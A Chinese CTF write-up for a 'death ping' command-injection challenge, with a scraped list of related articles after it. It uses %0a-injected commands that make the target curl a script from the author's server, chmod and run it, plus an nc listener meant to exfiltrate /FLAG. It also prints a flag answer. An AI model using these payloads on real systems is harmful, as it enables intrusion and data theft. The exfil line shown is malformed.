感谢 doulicau和chesterblue老哥的指导

本题用宝塔搭建环境下 在开放安全组的前提下,也需要将服务器的防火墙打开,因为国内的服务器一开始是默认关闭的。

打开防火墙命令:

iptables -I INPUT -p tcp --dport 8888 -j ACCEPT 开放8888端口命令

这题一开始先按照doulicau老哥的做法做的,一开始还不懂先是要反弹shell,当然尝试了会发现不行。

所以后面选择使用命令执行加重定向来获取信息,不过到我这又不行了。

但现在2021.1.18 还是没做出来 感觉是服务器对发出去的数据又有了限制,依旧是在最后一步报错。

不过其实没做出来也没关系,学到思路以及其中的操作才是最重要的。

这道题虽然墨迹了几天没做出来,但从中还是学到不少东西,所以写篇文章记录一下自己这几天的过程和收获。


目录

前置知识

题目

思路

复现步骤

FLAG


前置知识

命令执行:应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令。

shell反弹:reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

可能说的比较官方,说人话就是:

  • 命令执行:正常的命令后面可以凭借危险的命令,系统会直接执行
  • shell反弹:这有个前提是我们能控制被攻击机,我们控制它执行一些危险命令,但是输出是在被攻击机上面,所以我们通过反弹一个shell,被攻击机的输入,输出,都传到我们电脑上。

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

题目

思路


  • fuzz测试发现 %0a,%0b,可传入参数绕过过滤
  • 搭建服务器,在服务器上放上1.sh文件(包含反弹shell 和打开flag文件代码)
  • 通过命令执行让靶机下载1.sh文件
  • 通过命令执行让靶机给1.sh文件加权限
  • 打开服务器的监听端口
  • 通过命令执行让靶机执行1.sh文件

复现步骤

fuzz测试()前端有输入字符最长限制,我们放在bp做

(原谅我%0a的图没截到。。)

搭建服务器

自己看着别人的write up需要搭建服务器,还特意去学了一下。。。。

这里推荐一个白嫖阿里云服务器的教程(这两天刚我试了一下)

然后就是漫长的搭建服务器的过程,对于我这样一个新手非常不友好,但总算还是搞成了。

我用的方法是阿里云服务器+宝塔(有兴趣的同学可以去试一下)

在根目录创建1.sh文件

ls
cat /FLAG | ip地址 8088

127.0.0.1%0acurl 服务器ip/1.sh > /tmp/1.sh

命令执行让靶机下载你的1.sh文件 并放在tmp文件夹中

命令执行给1.sh文件加权限

127.0.0.1%0achmod 777 /tmp/1.sh

打开自己的服务器8088端口开始监听,得到靶机的输入输出

nc -lvp 8088

命令执行使靶机执行1.sh文件

127.0.0.1%0ash /tmp/1.sh

最后一步寄了,现在也没弄清是哪的问题,但是步骤和原理就是这样了,有懂得原因或是复现成功的大哥可以在评论区留言。

FLAG

虽然最后没复现成功,但该交的flag还是得交,不然感觉亏了很多,哈哈。

n1book{6fa82809179d7f19c67259aa285a7729}

i春秋 死亡ping命令 原理学习(命令执行+shell反弹)+复现相关推荐

  1. shell脚本循环执行一个linux命令,Linux中循环执行shell命令的方法

    Linux命令行,循环执行shell命令 死循环 命令格式while true ;do ; done; 可以将 command 替换为任意命令. 下面以echo "hello"; ...

  2. python调用shell命令-在Python中执行shell命令的6种方法,你都知道吗?

    原标题:在Python中执行shell命令的6种方法,你都知道吗? Python经常被称作"胶水语言",因为它能够轻易地操作其他程序,轻易地包装使用其他语言编写的库.今天我们就讲解 ...

  3. mac运行linux命令,iOS:mac.app执行shell命令

    报错 1: 错误: /bin/bash: line 1: /Users/liuyaqiang/Desktop/GitHub/KTMRobot/auto.sh: Operation not permit ...

  4. linux man命令原理,Linux命令之man详解

    man [-acdDfFhkKtwW] [--path] [m system] [-p string] [-C config_file] [-M pathlist] [-P pager] [-B br ...

  5. (1)Shell 编程学习 Shell是什么?Shell的浅显原理 为什么要学Shell 及其第一个Shell脚本 CTF角度学习Shell

    最近刷CTF题目的时候经常要用到Shell语言,但是自己并没有系统的学习,所以最近花了点时间学习一下,所以重新来梳理一下.对于稍微有一点编程语言基础的同学,能上手Shell其实不需要半小时(甚至更短) ...

  6. python中command是什么意思_python中command执行shell命令脚本方法

    在Python中有一个模块commands也很容易做到以上的效果. 看一下三个函数: 1). commands.getstatusoutput(cmd) 用os.popen()执行命令cmd, 然后返 ...

  7. [实验室每日一题][20201123][Web]死亡ping命令

    原题目:BUUCTF–[第二章 web进阶]死亡ping命令 前置基础(本题会用到的相关知识) 标准输入,标准输出是什么? 要弄清什么是标准输入输出.首先需要弄懂什么是IO. IO 的 I 是 Inp ...

  8. Linux 下 TC 命令原理及详解

    众所周知,在互联网诞生之初都是各个高校和科研机构相互通讯,并没有网络流量控制方面的考虑和设计,IP协议的原则是尽可能好地为所有数据流服务,不同的数据流之间是平等的.然而多年的实践表明,这种原则并不是最 ...

  9. Linux命令篇 linux命令大全简洁明了 linux学习笔记

    Linux命令篇 linux命令大全简洁明了 linux学习笔记 Linux 命令大全 文章目录 Linux 命令大全 一. 常用的基础命令 查看目录: 切换目录: 创建和删除: 拷贝和移动文件: 查 ...

  10. [整理]ADB命令行学习笔记

    global driver # 元素定位 driver.find_element_by_id("id") # id定位 driver.find_element_by_name(&q ...

最新文章

  1. asp.net实现ftp上传代码(解决大文件上传问题)
  2. 逆天Kali带你游遍大江南北~安全之前人铺路!
  3. 小米蓝牙左右互联_解决不同品牌智能家居的兼容问题,小米米家智能多模网关发布...
  4. [bzoj3532][Sdoi2014]Lis
  5. 天国近了(一) -- 揭穿OOP神话
  6. 整体二分初识--POJ2104:K-th Number
  7. ENVI完整安装步骤
  8. Grasshopper: Architectural Prototyping Grasshopper建筑原型 Lynda课程中文字幕
  9. 【网络编程】Socket网络编程基础
  10. 基于JSP的学术交流论坛系统的设计与实现
  11. DSP TMS320F2803x 增强型捕获模块(eCAP)
  12. 微信境外支付php_PHP微信支付功能示例
  13. 加密勒索病毒:诞生、忽视以及爆炸式增长
  14. 登入联机服务器失败怎么 修复,元气骑士连接服务器失败 连接不上网络怎么办...
  15. 线索化二叉树的学习记录
  16. 改造ueditor 在线图片功能 添加 删除 功能
  17. 【转】程序员职业规划
  18. 广州市黄埔区2021-2022学年七年级第一学期期末考试英语试题
  19. Camtasia2020mac喀秋莎中文免费密钥
  20. 同济大学博导陈明:解读中国制造2025

热门文章

  1. SAS入门之(四)改变数据类型
  2. 案例解读|江苏银行—智多星大数据分析云平台实践
  3. 彩虹自助下单平台对接爱代挂插件程序
  4. Maven的下载及安装
  5. 基于树莓派的Data Matrix decode
  6. 证据理论(1)—— DS证据理论基本理论
  7. nodejs EADDRINUSE API拒绝访问
  8. WF本质论 OpenSesame 芝麻开门代码
  9. JAVA —— ArrayList集合习题(共四题)
  10. 关于zigbee协议栈各层的系统分析